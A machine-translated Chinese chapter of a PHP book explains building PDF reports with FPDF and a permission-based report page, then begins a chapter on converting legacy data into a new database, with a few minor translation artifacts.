$pdf->Rect(0, 0, $width, $height, 'F');
$inset = 18;
$pdf->SetLineWidth(6);
$pdf->SetDrawColor(190);
$pdf->SetFillColor(255);
$pdf->Rect($inset, $inset, $width - 2 * $inset,
$height - 2 * $inset, 'DF');
$margin_left = $inset + 20;
$margin_top = $inset + 20;
$pdf->Image('incl/logo.png', $margin_left, $margin_top);
$x = $margin_left + 50;
$pdf->SetFont('Helvetica', 'BI', 16);
$pdf->SetTextColor(100);
$pdf->Text($x, $margin_top + 20,
'Front Range Butterfly Club');
$pdf->SetFont('Helvetica', 'I', 9);
$pdf->SetTextColor(180);
$pdf->Text($x, $margin_top + 32,
'220 S. Main St., Anytown, CA 91234, 800-555-1234');
$pdf->SetLineWidth(1);
$pdf->Line($margin_left, $margin_top + 45,
$width - $margin_left, $margin_top + 45);
$pdf->SetFont('Times', '', 10);
$pdf->SetTextColor(0);
}
接下来,一个简单的循环,在清单 7-11 的中,生成如图 7-12 的所示的套用信函,在每一页的开始调用setup_page
。仅写入占位符文本;我将在下一节展示如何生成格式正确的段落。
清单 7-11 。循环生成套用信函
$db = new DbAccess();
$pdo = $db->getPDO();
$pdf = new FPDF('P', 'pt', array(5 * 72, 6 * 72));
$stmt = $pdo->query('select * from member
order by last, first');
while ($row = $stmt->fetch()) {
setup_page($pdf, $margin_left, $margin_top, $height, $width);
$pdf->Text($margin_left, $margin_top + 80,
"[letter to {$row['first']} {$row['last']}");
}
$pdf->Output();
图 7-12 。前四个套用信函,每个都在单独的页面上
FPDF::多池法
使用FPDF::text
方法将文本段落写入 PDF 确实很笨拙,因为它要求您指定您绘制的每个字符串的位置,并且它不知道如何将文本换行。但是FPDF::MultiCell
方法可以。
MultiCell($width, $lineheight, $text [, $border [, $align [, $fill ]]])
论据如下:
$width
:列宽。到达右边界的文本会换行到下一行。$lineheight
:每行的高度。比字体大一点或两点效果很好。$text
:要写入的文本。$border
:0 表示无边框(默认),或者一个或多个字母L
、T
、R
和B
,表示您想要的边框。参数LR
将设置左边和右边的边界,但不是顶部或底部。参数 1 与LTRB
相同,或者是一个完整的帧。用FPDF::SetLineWidth
设定边框线宽度。$align
:L
、C
、R
或J
中的一种,用于左对齐、居中对齐、右对齐或全对齐(默认)。$fill
:填充用true
或false
(默认)。用FPDF::SetFillColor
设置填充颜色。
当前位置刚好在绘制的最后一行的下方结束,因此紧随其后的 FPDF:: MultiCell
将堆叠在它的正下方。
所以现在可以打印一个实际的套用信函,如清单 7-12 中的所示,第一个字母如图 7-13 中的所示。注意在清单 7-12 中,正文在这里被换行,所以它适合本书,但不适合代码,因为文本中的任何换行符都会导致换行符。其他换行符被明确地插入到文本中以隔开字母;这些在本书中显示为空白行或者是一种逃避。
清单 7-12 。生成套用信函
$body = <<<EOT
If you haven't heard, our Spring 2013 Meadow Adventure is scheduled for Saturday, June 22\. We'll meet at the Caribou Ranch trailhead, about 2 miles north of Nederland (make a sharp left at CR 126). Make sure you're ready to go at 9 AM. Bring the usual gear, and don't forget rainwear.
See you on the 22nd!
Regards,
Tom Swallowtail,
FRBC Event Coordinator
EOT;
$db = new DbAccess();
$pdo = $db->getPDO();
$pdf = new FPDF('P', 'pt', array(5 * 72, 6 * 72));
$stmt = $pdo->query('select * from member
order by last, first limit 2');
while ($row = $stmt->fetch()) {
$text = date('F j, Y') .
"\n\nDear {$row['first']} {$row['last']}:\n\n$body";
setup_page($pdf, $margin_left, $margin_top, $height, $width);
$pdf->SetXY($margin_left, $margin_top + 80);
$pdf->MultiCell($width - 2 * $margin_left, 12, $text, 0, 'L');
}
$pdf->Output();
图 7-13 。套用信函
和 FPDF 一起写桌子
对于表格报表,用FPDF::MultiCell
将文本设置成列太麻烦了。您想要更加自动化的东西,它获取数据行,计算每行应该有多高(取决于它包含的数据),并知道何时开始新的一页。自动页眉和页脚也不错。
从盒子里出来的 FPDF 并没有完全正确的东西。FPDF 的开发者 Olivier Plathey 贡献了一个名为“多单元格表格”的脚本,你可以在他的网站(fpdf.org
), which almost does the job. The problem is that the spacing of lines that wrap (within table cells) is too great, making the table look sloppy. I’ve modified his script to fix that, packaged as a subclass of FPDF called
PDF_MC_Table)上找到,你可以在 Apress 网站(
www.apress.com)的源代码/下载区找到。在我的例子中,新方法叫做
PDF_MC_Table::RowX。它唯一的参数是一个列值数组(带有数字下标);每行调用一次。
`您需要在输出行之前设置表,通过一系列调用来设置列标题和宽度、填充等等。
SetWidths($widths_array)
SetAligns($alignments_array)
SetStyles($styles_array)
SetHorizontalPadding($hp)
SetVerticalPadding($vp)
参数$widths_array
是一个列宽数组;它应该具有与传递给PDF_MC_Table::RowX
的行数组相同数量的元素,如下例所示:
$pdf->SetWidths(array(25, 18, 18, 25, 14, 49));
参数$alignments_array
是一个对齐字母数组,与 FPDF::MultiCell 使用的对齐字母相同。
$pdf->SetAligns(array('R', 'C', 'C', 'C', 'C', 'L'));
参数$styles_array
是列文本的字体样式数组。样式是FPDF::SetFont
: B
,I
,BI
使用的样式,或者是一个空字符串。
最后,您可以通过两个填充调用来调整单元格内的填充。(与宽度一样,单位是您在构造函数中设置的值。)
清单 7-13 中的代码生成一个使用PDF_MC_Table::RowX
的成员目录,以及设置列宽和垂直填充的调用。有两点需要注意。
- 要实例化的类是
PDF_MC_Table
,不是FPDF
。 PDOStatement::fetch
有一个参数PDO::FETCH_NUM
来获取带有数字下标的行,而不是列名(默认),这是PDF_MC_Table::RowX
想要的。
清单 7-13 。输出柱状报告
$db = new DbAccess();
$pdo = $db->getPDO();
$pdf = new PDF_MC_Table('P', 'pt', 'letter');
$pdf->SetFont('Helvetica', '', 10);
$pdf->SetWidths(array(72, 72, 100, 72, 36));
$pdf->SetVerticalPadding(5);
$pdf->AddPage();
$stmt = $pdo->query('select last, first, street, city, state
from member order by last, first');
while ($row = $stmt->fetch(PDO::FETCH_NUM))
$pdf->RowX($row);
$pdf->Output();
这段代码生成了一个包含许多页面的 PDF。图 7-14 只显示了一页的一部分。请注意,行高各不相同。
图 7-14 。表格报告
FPDF 页眉和页脚
您可以通过子类化FPDF
(或PDF_MC_Table
)和重写方法FPDF::Header
和/或FPDF::Footer
来输出每页的页眉和页脚。在方法内部,使用普通的 FPDF 调用来输出您希望页眉或页脚包含的任何内容。
在您对FPDF::Header
的覆盖中,无论您离开哪里,y 位置都决定了页面主体的开始位置;换句话说,这就是割台高度。在您的FPDF::Footer
覆盖中,您从发生分页的 y 位置开始。在这两种情况下,你有责任保持在页眉或页脚区域。
您通过调用FPDF::SetAutoPageBreak.
来设置分页符位置
SetAutoPageBreak($auto [, $bottom_margin])
第一个参数(true
或false
)决定是否打开自动分页符;如果是false
,每一页都要自己调用FPDF::AddPage
。第二个参数是页脚的高度,这是你的覆盖of FPDF::Footer
开始绘制的地方。
在“报表类:PDF 输出”一节中,我将展示一个带有页眉和页脚的例子
更多 FPDF
除了我在这里讨论的,还有很多关于 FPDF 的东西,特别是如果你把在fpdf.org
发布的脚本计算在内的话。这里有一个我在 FPDF 书中包含的函数的列表,所以你可以感受一下那里有什么。
```php`
AcceptPageBreak Link SetKeywords
AddFont Ln SetLeftMargin
AddLink MultiCell SetLineStyle
AddPage Output SetLineWidth
AliasNbPages PageNo SetLink
Bookmark Polygon SetMargins
Cell Rect SetRightMargin
Circle RegularPolygon SetSubject
Close Rotate SetTextColor
Curve RoundedRect SetTitle
Ellipse SetAuthor SetTopMargin
Error SetAutoPageBreak SetX
Footer SetCompression SetXY
GetStringWidth SetCreator SetY
GetX SetDisplayMode StarPolygon
GetY SetDrawColor Text
Header SetFillColor Write
Image SetFont
Line SetFontSize
报表类:PDF 输出
现在你已经知道了`FPDF`和它的子类`PDF_MC_Table`,实现方法`Report::pdf`一点也不难。首先,`PDF_MC_Table`必须被子类化,以便定义页眉和页脚方法,如清单 7-14 中的所示。我已经解释了`PDF_Report::Header`使用的所有方法,除了`PDF_MC_Table::RowX`的第二个参数,它取消了边框,所以标题将出现在表格网格之上,正如你在图 7-15 中看到的,它显示了使用这个类的报告的部分输出。
***清单 7-14*** 。具有页眉和页脚定义的 PDF_Report 类
```php
class PDF_Report extends PDF_MC_Table {
protected $page_title, $page_width, $page_height, $headings;
function Header() {
$this->SetX(-1);
$this->page_width = $this->GetX() + 1;
$this->SetY(-1);
$this->page_height = $this->GetY() + 1;
$this->SetFont('Helvetica', 'B', 10);
$this->SetXY(0, PDF_MARGIN - 10);
$this->MultiCell($this->page_width, 8, $this->page_title, 0, 'C');
$this->SetY(PDF_MARGIN);
$this->SetFont('Helvetica', 'I', 8);
$this->RowX($this->headings, false);
}
function Footer() {
$this->SetFont('Helvetica', 'I', 8);
$y = $this->page_height - PDF_MARGIN / 2 - 8;
$cell_width = $this->page_width - 2 * PDF_MARGIN;
$this->SetXY(PDF_MARGIN, $y);
$this->MultiCell($cell_width, 8, date('Y-m-d H:i:s'), 0, 'L');
$this->SetXY(PDF_MARGIN, $y);
$this->MultiCell($cell_width, 8, $this->PageNo() . ' of {nb}',
0, 'R');
}
function set_headings($headings) {
$this->headings = $headings;
}
function set_title($title) {
$this->page_title = $title;
}
}
图 7-15 。Report::pdf 的输出示例。灰色椭圆表示对国际字符的正确处理
你可能已经注意到了PDF_Report::Footer
倒数第二行的奇怪符号{nb}
。如果您通过调用FPDF::AliasNbPages
来启用该特性,我将很快展示这一点,那么{nb}
将被 PDF 中的总页数所取代,当然,这在 PDF 完全编写完成之前是不知道的。(这是 FPDF 的特性,不是 PHP 的特性。)
类PDF_Report
规定用PDF_Report::set_headings
设置标题数组,用PDF_Report::set_title
设置标题。一会儿我会展示这两个方法在哪里被调用。
定义了包含页眉和页脚的类PDF_Report
,现在该是Report::pdf
自己的时候了,如清单 7-15 所示。我已经展示了大部分代码,在Report::html
或Report::csv
中,或者在我对 FPDF 如何工作的描述中。这里的一个新东西是,如果一个列宽数组没有被提供,那么可用的宽度会在有多少列之间平均分配,这就是图 7-15 中发生的事情。如果提供了除最后一个宽度之外的所有宽度,最右边的列将占据剩余的空间,这在只有一个长文本字段时非常有用,如图 7-16 中的所示,如“使用报告类构建报告”一节所示
清单 7-15 。Report::pdf
方法
function pdf($title, $stmt, $widths = null, $headings = null,
$orientation = 'P', $pagesize = 'letter') {
define('HORZ_PADDING', 2);
define('VERT_PADDING', 3);
$dir = 'output';
$path = "$dir/" . date('Y-m-d') . '-' . uniqid() . '.pdf';
$url = "http://" . $_SERVER['HTTP_HOST'] .
dirname($_SERVER['REQUEST_URI']) . "/$path";
$pdf = new PDF_Report($orientation, 'pt', $pagesize);
$pdf->set_title($title);
$pdf->SetX(-1);
$page_width = $pdf->GetX() + 1;
$pdf->AliasNbPages();
$pdf->SetFont('Helvetica', '' , 7);
$pdf->SetLineWidth(.1);
$pdf->SetMargins(PDF_MARGIN, PDF_MARGIN);
$pdf->SetAutoPageBreak(true, PDF_MARGIN);
$pdf->SetHorizontalPadding(HORZ_PADDING);
$pdf->SetVerticalPadding(VERT_PADDING);
$ncols = $stmt->columnCount();
if (is_null($headings))
for ($i = 0; $i < $ncols; $i++) {
$meta = $stmt->getColumnMeta($i);
$headings[] = $meta['name'];
}
$pdf->set_headings($headings);
if (is_null($widths)) {
$w = ($page_width - 2 * PDF_MARGIN) / $ncols;
for ($i = 0; $i < $ncols; $i++)
$widths[$i] = $w;
}
if (count($widths) == $ncols - 1) {
$n = 0;
foreach ($widths as $w)
$n += $w;
$widths[$ncols - 1] = $page_width - 2 * PDF_MARGIN - $n;
}
$pdf->SetWidths($widths);
$pdf->AddPage();
while ($row = $stmt->fetch()) {
$r = array();
foreach ($row as $v)
$r[] = iconv('UTF-8', 'ISO-8859-1//TRANSLIT', $v);
$pdf->RowX($r);
}
$pdf->Output($path, 'F');
echo <<<EOT
<p>Click below to access the report:
<p><a href='$url'>$url</a>
EOT;
}
图 7-16 。小组报告
也请注意这一行
$pdf->Output($path, 'F');
它将 PDF 发送到一个文件,而不是您通常想要的屏幕,因为这允许应用页面显示运行报告的结果,以及菜单栏和典型页面的所有其他标准部分。如果 PDF 出现在屏幕上,就不会有其他内容。
我在Report::pdf
中包含对iconv
的调用是一个提示,FPDF 不处理 UTF-8,这很遗憾,因为 PDF 当然处理。TCPDF 在这方面是一个进步。
使用报告类构建报告
从Report
类构建报告的一个简单明了的方法是以通常的方式构造一个页面,通过子类化Page
类,如清单 7-16 所示;来自 it 部门的 PDF 报告在图 7-16 中。
清单 7-16 。报告的页面
class MyPage extends Page {
protected function request() {
$f = new Form();
$f->start($_POST);
$f->radio('dest', 'Screen', 'screen');
$f->hspace(2);
$f->radio('dest', 'PDF', 'pdf', false);
$f->hspace(2);
$f->radio('dest', 'CSV', 'csv', false);
$f->text('year', 'Year:', 30, 'YYYY');
$f->button('action_report', 'Report', false);
$f->end();
}
protected function action_report() {
$hdgs = array('Number', 'Date', 'Start', 'Stop', 'Title');
$ttl = "{$_POST['year']} Panels";
$stmt = $this->db->query('select number, date_held,
time_start, time_stop, title from panelcwa
where year = :year order by number',
array('year' => $_POST['year']));
if ($stmt->rowCount() == 0)
$this->message('No records found', true);
else {
$r = new Report();
if ($_POST['dest'] == 'screen')
$r->html($ttl, $stmt, $hdgs);
else if ($_POST['dest'] == 'pdf')
$r->pdf($ttl, $stmt, array(50, 50, 50, 50), $hdgs);
else if ($_POST['dest'] == 'csv')
$r->csv($stmt);
}
}
}
$page = new MyPage('Panels Report', true, 'panels-view');
$page->go();
图 7-17 显示请求表单,用户可以选择输出和年份。方法MyPage::action_report
简单地调用适合请求输出的Report
方法,对于 PDF 的情况,这就是产生图 7-16 的原因。
图 7-17 。小组报告申请表
(如果你现在还不清醒,你应该想知道为什么 Front Range Butterfly Club 网站会发布一份 CWA 调查报告。这是因为蝴蝶俱乐部的副主席,一位才华横溢的 PHP/MySQL 程序员,自愿帮助 CWA 建立新的数据库。不相信我?好吧,那么也许你会相信我只是为了说明Report
类而把它放在这里,FRBC 网站是一个方便的地方。不好意思。)
一个综合报告页面
查看清单 7-16 中的,它实际上只不过是一个将输出发送给Report
类方法之一的查询。因为任何查询都可以在我在本章开始时展示的查询页面上定义,并且有一个将权限与查询相关联的菜单,所以那些简单的报告可以自动生成——没有必要为每个报告编写一个 PHP 页面。
generalized reports page
查询查询表,列出用户有权限的所有查询,以及屏幕、PDF、CSV 按钮,如图图 7-18 所示。然后,用户可以单击一个按钮,将该查询运行到输出目的地。整个程序在清单 7-17 中。注意它与清单 7-16 中的非常相似,后者只处理了一个报告。在Page
类的实例化中,不需要指定任何权限,因为它们是在代码中通过调用MyPage::request
方法的PDOStatement::fetch
循环中的Access::has_permission
显式检查的。(关于文件的东西——处理stripos($row['query'], 'file ') === 0
的代码——我一会儿会解释。)
清单 7-17 。综合报告页面
class MyPage extends Page {
protected function request() {
$stmt = $this->db->query('select * from query order by title');
while ($row = $stmt->fetch()) {
if ($this->ac->has_permission($row['permission'])) {
echo "<br>";
$this->button('Screen', array('action_run' => 1,
'dest' => 'screen', 'query_id' => $row['query_id']));
$this->button('PDF', array('action_run' => 1,
'dest' => 'pdf', 'query_id' => $row['query_id']));
$this->button('CSV', array('action_run' => 1,
'dest' => 'csv', 'query_id' => $row['query_id']));
echo ' ' . htmlspecial($row['title']);
}
}
}
protected function action_run() {
$stmt = $this->db->query('select * from query
where query_id = :query_id',
array('query_id' => $_POST['query_id']));
if ($row = $stmt->fetch()) {
if (stripos($row['query'], 'file ') === 0)
$this->transfer(substr($row['query'], 5),
array('dest' => $_POST['dest']));
else {
$stmt2 = $this->db->query($row['query']);
$r = new Report();
if ($_POST['dest'] == 'screen')
$r->html($row['title'], $stmt2);
else if ($_POST['dest'] == 'pdf')
$r->pdf($row['title'], $stmt2);
else if ($_POST['dest'] == 'csv')
$r->csv($stmt2);
}
}
else
$this->message('Query not found');
}
}
$page = new MyPage('Reports');
$page->go();
图 7-18 。“报告”页面,列出基于查询的报告
如果你回头看图 7-1 ,你会看到每个已定义的查询现在都变成了一个报告。既然已经有了查询页面,为什么还要有报告页面呢?三个原因。
- 创建和运行查询需要仅限于那些拥有
query
权限的用户。但是,这些查询创建者可能允许特权较低的用户运行查询,这可以通过设置查询的权限来实现。“报告”页面是在逐个查询的基础上实施权限的页面。 - 只有拥有
query
权限的用户才应该被允许查看任何 SQL,因为这暴露了数据库结构,而数据库结构最容易被坏人发现。 - 在报告页面上,用户可以选择目的地。当然,这本来可以添加到查询页面中,但是,由于前面的原因,并不需要添加。
简而言之,普通用户可以运行他们被允许运行的报告,但是没有query
的许可,他们不能编写甚至查看查询。
现在关于文件的事情。有些报告太复杂,无法通过简单的查询来处理。有时您需要特定于报表的 PHP,因此您需要一个单独的 PHP 文件。我称之为“文件”报告。将它们与基于查询的报告一起包含在报告页面上很方便,因此用户可以进行一站式购物。为了实现这一点,可以将查询定义为单词file
后跟文件名,如图 7-19 中的所示。
图 7-19 。文件报告的定义
query
表不关心query
列包含什么。文件报告的执行由报告页面处理,这段代码摘自清单 7-17 。
if (stripos($row['query'], 'file ') === 0)
$this->transfer(substr($row['query'], 5),
array('dest' => $_POST['dest']));
对substr
的调用只从查询值中提取文件名。一旦文件执行,它就像任何其他应用页面一样是独立的,它可以做任何它需要做的事情。它甚至不局限于使用Report
类输出。
章节总结
Select
-报表查询是简单的报表,一个允许用户定义和运行的查询页面非常方便。- RBAC 提供了一种方法来限制用户访问他们有权访问的资源和操作。
- 一个
Report
类可以处理从查询到屏幕的表格输出,比如 PDF,或者输出到 CSV 文件。 - FPDF 是一种从 PHP 程序生成 PDF 的廉价而有效的方法。
- 通用报告页面以及适当的 RBAC 策略提供了一种简单的方法来定义授权用户可以运行的报告。```
八、数据转换
我只希望他们把我的名字拼对。
——宇航员艾伦·谢泼德,谈到他希望如何被人们记住
我猜某处有人已经构建了一个数据库应用,它从一个空数据库开始,但我从未见过。总有一些预先存在的东西必须转换到新系统中,即使它只是钉在公告栏或常客文件盒上的志愿者名册。更常见的是,它还不止这些:电子表格、文件、电子邮件、文本文件,或者可能是基于 FileMaker、Microsoft Access 甚至 MySQL 的现有数据库系统。
我在本章中涉及的主题是转换在开发过程中的位置、要转换的数据源、处理问题数据(如日期和字符集)、测试和纠正以及合并变体名称(Shepard、Shephard、Shepherd)。
开发过程中的转换
当你安装新系统时,转换不仅仅是你必须做的一件讨厌的事情。它可以在开发过程中发挥有价值的作用。
提前转换
转换是我将在本书中讨论的最后一个主题,但是在开发的早期进行转换是明智的。
正如我在第四章中所建议的,一旦我设计了数据库并创建了表,我会尝试在应用本身之前开发转换,原因如下:
- 当我使用转换源时,我发现了数据库的问题,主要是缺少列和不正确的类型。有时,即使是一个关系问题,比如一对多必须改为多对多,也需要添加另一个表。
- 转换后的数据是最好的测试数据,因为它是真实的,而不是编造的,并且充满了新系统必须处理的所有怪异的情况。
- 它教会了我关于数据的知识,所以当我开始编写应用时,我更好地了解了系统。
首先开发转换的唯一缺点是,我暂时没有任何应用可以向客户演示。
转换后的数据可能不足以测试旧系统中没有的功能;为此,您必须创建测试数据。
经常转换
一旦你开发了转换程序,不要只是运行几次来测试它们。每周运行一次,或者,如果您直接连接到遗留数据库,并且不会给任何人带来负担,则每晚运行一次。那样的话,皈依日就不特别了——它只是另一天。
另一个好处是,假设旧的应用仍在使用,您的测试转换使用了一组扩展的数据,增加了在开发期间出现奇怪情况的可能性,因为有足够的时间来处理它们。
绊脚石可能是客户的 IT(信息技术)人员,他们对过去的转换有可怕的记忆,认为你每天都想这样做是疯了。当这种情况发生在我身上时,我称之为测试,这似乎很有效。当我写这篇文章时,大约是八年前了。如今我们有了现代术语持续集成 ,你可以这么称呼它。仔细想想,it 是持续集成,运行完全转换是进行持续测试的一个很好的方式。
转换源
有时有一个单一的数据源用于转换,但在我的经验中,它比那更多样。
枚举转换源
在我为 CWA 建立的系统中,我们有一个在助理协调员的 Mac 电脑上运行的 FileMaker 数据库,六个左右的 Excel 电子表格,一个必须搜索传记信息的网站,对网络服务器上照片目录的 FTP 访问,以及大量手写索引卡。
对于我为 Richardson (Texas)学区构建的年级记录本应用,我们有一个非常旧的 DB2 数据库,由州政府设立的服务机构在 IBM 大型机上运行,还有一个在 VAX 虚拟机上运行的自主开发的系统。
在这两种情况下,仅仅获得所有来源的完整列表是令人惊讶的困难。不定期更新的来源,例如年度会议的数据,可能在项目规划期间被遗忘。
更重要的是,有时一个被忽视的转换源掩盖了一个被忽视的需求。例如,一旦每个人都认识到您必须从每年创建的电子表格转换来处理小组成员的住房,问题就出现了,新系统是否应该处理住房。在开发中途发现这样的主要需求是非常具有破坏性的。不仅仅是另一份报告,这很容易。这是数据模型中的新实体!
采访处理数据的最底层人员。IT 经理会告诉你他们所有的数据都在 Oracle 中,因为这是他或她希望总裁和董事会听到的,中层经理会告诉你 Microsoft Access 上还有一些遗留数据,但秘书会告诉你一些数据在 Excel 电子表格中。(当然没有备份,但新系统会解决这个问题。)工作,直到你确定你有完整的清单。
如果不同的人对数据是否必须转换有不同意见,不要感到惊讶。我听到的对话大致是这样的:
- IT 经理:“我们不再使用那个电子表格了。所有的数据都在甲骨文里。”
- 数据输入员:“不全是。部门排名还在 Excel 里。”
- IT 经理:“这些不需要。”
- 较小的 IT 经理:“是的,他们是。用于逐年比较。”
- IT 经理:“好吧,我明白你的意思,但我们不做那些。”
- Lesser IT 经理:“我们没有,但是我们每个月都会将数据发送给学区。”
如果你关注对话,你会发现这不仅仅是一个被遗忘的转换源。它还涉及新系统是否必须提供与地区办公室的年度比较,这在你认为已经确定的要求中是没有的。
所以,在清单上工作,检查两次。
静态与动态源
在转换开发开始和转换到新系统之间,静态数据源不会改变。例子可以是关于以前的订单或过去的会议的数据。动态源作为持续业务的一部分进行更新。
对于静态源,一旦枚举了它们,您需要做的就是开始收集数据文件。你可以开发转换程序来处理它们,一旦它们工作了,你就完成了。只需运行程序来加载新的数据库。因为数据不会改变,所以即使您在开发期间每天都在运行转换,也只需要在数据库模式改变时重新转换静态数据。
对于动态源,就更复杂了。您可以开发程序并运行它们来填充数据库,但每次运行它们时,数据都会发生变化,这就增加了出现新问题的可能性。如果这发生在开发期间,这是一件好事,因为这是你想了解问题的时候。
在系统切换期间,当旧系统退役并且正在进行的操作转移到新系统时,可能会出现新的情况。任何问题都必须迅速解决,因为更新动态源必须在切换日冻结。从那时起,数据更新将与新系统一起进行,旧系统将被抛弃。问题是,“当您修复最后一分钟的数据问题时,冻结旧系统并让新系统离线会给客户带来多长时间的不便?”
你可能有将近一周的时间来进行缓慢的运作,就像一个非营利组织,除了捐助者和志愿者来来往往之外,没有什么比这更有活力的了。但是对于像网上书店这样的快速运行的书店,你没有那么多时间。
对于快速的情况,转换将是棘手的,因为您必须转换并验证一切正常的窗口很小,可能只有周日凌晨 2 点开始的几个小时。要做到这一点,需要非常仔细的计划和大量的测试。
一开始看起来很有吸引力的一个想法是并行运行新旧系统,直到新系统被证明是可行的,这样旧系统可以作为后备。但这增加了许多复杂性,更不用说那些必须更新这两个系统的人的大量额外工作了。也许你必须这样做,但我建议你尽可能避免这样做,每天进行转换是最好的方法。
直接连接到源数据库
如果转换源是一个数据库,最好使用 PHP 数据库 API 之一直接连接到它。您应该能够将 PDO 用于许多著名的数据库,比如 Oracle、Informix、PostgreSQL、SQLite,当然还有 MySQL。如果没有特定的 PDO 接口,那么就有一个通用的 PDO 接口来处理 ODBC 驱动程序,这些驱动程序通常可以从数据库供应商那里获得。(ODBC 是我在德克萨斯州做年级记录本项目时在大型机上连接 DB2 的方式。)如果您不能使用 PDO,请使用本机 API,您可以在 DB2、SQL Server、Sybase 等等中找到这种 API。
与其他 PHP 数据库 API 相比,我更喜欢 PDO 的一个原因是,它非常好地支持参数化查询,从而避免了 SQL 注入。然而,转换程序通常不会从用户那里获取数据,所以 SQL 注入并不是一个真正的问题。如果你必须使用 PDO 以外的东西,那就用吧。
与电子表格、文本文件和其他古怪的文档相比,连接到真实的数据库具有巨大的优势:日期和时间(通常)保证以标准的方式格式化,规范化(通常)消除了同一个人的多个记录等问题,并且从操作上来说,每天晚上运行转换要容易得多。
导出格式
现有的数据文件就是它们的样子,但是从数据库源中导出可以让您选择如何获取数据。
如果您不能直接连接—可能是桌面数据库,如 FileMaker—您将不得不导出数据或让您客户的员工为您导出。有时你可以选择如何导出数据;CSV(逗号分隔值)、制表符分隔值、XML 或 SQL 是最常见的选择。
在一个项目中,我从同一个 FileMaker 数据库中定期导出 CSV 文件,但是文件第一行的字段名因导出而异。我不知道为什么,做出口的人也不知道。最后,我不得不在我的转换程序中编写两个额外的特性:检测文件与文件之间不同的字段名,以及允许 CSV 文件中的字段具有几个不同名称之一的方案。这是一个烂摊子,我选择不真正解决,因为它只是为了转换,所以我只是让它尽可能防弹。我们克服了它,系统本身运行良好。教训是,在生产系统中完全不可接受的不便在转换过程中可能是可以忍受的。
自动生成转换程序
大部分转换工作涉及从转换数据构建数据库行,使用如下语句序列,类似于我编写的用于转换关于过去 CWA 小组成员的数据的程序中的语句:
$row['name_first'] = $data['Name_First'];
$row['name_last'] = $data['Name_Last'];
$row['appellation'] = $data['Appellation'];
$row['home_street1'] = $data['Home Address'];
$row['home_city'] = $data['Home City'];
...
$this->db->update('person', ..., $row);
左边的键(如name_first
)是数据库列;右边的(Name_First
)是从 FileMaker 数据库导出的 CSV 数据文件中使用的。
不用键入所有这些作业,运行一个程序来写它们是很容易的。首先,这里有一些代码来读取 CSV 文件的第一行,其中包含字段名称,并构建一个按列号索引的字段名称数组。
$path = "/Users/marc/Sites/cwadb/pastdata/Participant 2007-UTF8.csv";
$in = fopen($path, "r") or die("can't open $path");
if ($a = fgetcsv($in)) {
$k = 0;
foreach ($a as $f) {
$colname[$k] = $f;
echo "<br>{$colname[$k]}";
$k++;
}
}
fclose($in);
最初的几行输出是
Name_First
Name_Last
Appellation
Home Address
Home City
请注意,由于这只是一个实用程序,不是部署的应用的一部分,甚至不是转换的一部分,所以我在处理错误的方式上有些生涩。如果 CSV 文件打不开,我有一个对die
的调用,其他错误留给 PHP 去抱怨。
如果程序可以列出字段,它也可以输出赋值,减去它不知道的数据库列。
$path = "/Users/marc/Sites/cwadb/pastdata/Participant 2007-UTF8.csv";
$in = fopen($path, "r") or die("can't open $path");
if ($a = fgetcsv($in)) {
$k = 0;
foreach ($a as $f) {
$colname[$k] = $f;
echo "<br>\$row[''] = \$data['{$colname[$k]}']";
$k++;
}
}
fclose($in);
现在我有了可以复制粘贴到转换程序中的代码。
$row[''] = $data['Name_First']
$row[''] = $data['Name_Last']
$row[''] = $data['Appellation']
$row[''] = $data['Home Address']
$row[''] = $data['Home City']
...
这省去了大量繁琐且容易出错的打字工作。这个特殊的 CSV 文件有 56 列,我转换的其他文件有更多列。
对于大多数列,我所要做的就是在每行的空单引号之间键入适当的数据库列名。如果我不需要转换源中的列,我就删除那一行。这就是我如何得到这部分顶部显示的作业的。
清单 8-1 显示了转换程序的重要部分,基于之前写出骨架赋值的程序。
清单 8-1 。自动生成赋值的转换程序
$path = "/Users/marc/Sites/cwadb/pastdata/Participant 2007-UTF8.csv";
$in = fopen($path, "r") or die("can't open $path");
if ($a = fgetcsv($in)) {
$k = 0;
foreach ($a as $f)
$colname[$k++] = $f;
}
while ($a = fgetcsv($in)) { // for lines 2 and beyond
$k = 0;
foreach ($a as $v)
$data[$colname[$k++]] = trim($v);
$row = array();
$row['name_first'] = $data['Name_First'];
$row['name_last'] = $data['Name_Last'];
$row['appellation'] = $data['Appellation'];
$row['home_street1'] = $data['Home Address'];
$row['home_city'] = $data['Home City'];
...
$this->db->update('person', ..., $row);
}
fclose($in);
记下填充$data
数组的代码。
foreach ($a as $v)
$data[$colname[$k++]] = trim($v);
循环中的语句不是
$data[$k++] = trim($v)
因为我们想要下标的列名,而不是整数。
虽然大部分任务可以不做改动,但是有几个可能需要调整,比如那些处理日期和名字的任务,其中名字和中间名在同一个 CSV 列中。一旦做了这些调整,其中一些我将在下面的章节中讨论,转换程序就准备好了。
也就是说,如果 CSV 文件对应于单个数据库表,就可以开始了。很多情况下不会。例如,包含有关过去 CWA 面板的数据(可追溯到 1957 年)的 CSV 文件具有以下未标准化的字段集合以及其他内容(拼写错误为“Appelation 8”):
Moderator/Chairman/Presiding Appellation 7
Moderator Appellation Speaker 8
Speaker 1 Appelation 8
Appellation 1 Discussant 1
Speaker 2 Appellation d1
Appellation 2 Discussant 2
Speaker 3 Appellation d2
Appellation 3 Discussant 3
Speaker 4 Appellation d3
Appellation 4 Discussant 4
Speaker 5 Appellation d4
Appellation 5 Discussant 5
Speaker 6 Appellation d5
Appellation 6 Discussant 6
Speaker 7 Appellation d6
当您从电子表格转换时,您会一直看到这种排列,因为电子表格不支持连接。(至少,不是任何一个普通用户都能搞清楚怎么用的方式。)相反,当需要输入更多的数据时,它们会促使工作表变得越来越宽。
我的转换程序将大部分列放入panel
表,然后在person
表中为主持人和每个发言者和讨论者添加一行。然后,这些人通过多对多关系连接到他们所在的面板,这种关系涉及一个交集表。但即使在这种更复杂的情况下,我自动合成的骨骼分配也非常方便。他们甚至顺利地处理了拼写错误的列名。(事实上,直到我为这本书准备了示例代码,我才注意到它被拼错了。)
日期、时间和字符转换
很难说您会在文本文件和电子表格中发现什么,因为数据类型通常是不强制的。即使是数据库,有时规则也相当宽松。这是日期和时间的一个特殊问题。字符集之间的转换也是一个问题。
古怪的日期格式
我看到一个 4000 亿美元的数字,作为 2000 年前几年解决 Y2K 问题的总费用,如果你还记得,这些问题主要是由处理和存储两位数年份的计算机系统造成的。但是,根据我看到的转换数据,人们仍然在这样做。我看到类似于6-11
、11-12-10
、04/05
以及更糟糕的日期。
一旦将数据放入新数据库,问题就迎刃而解了,因为 MySQL 和其他所有数据库都按照严格的格式规则存储类型为date
或datetime
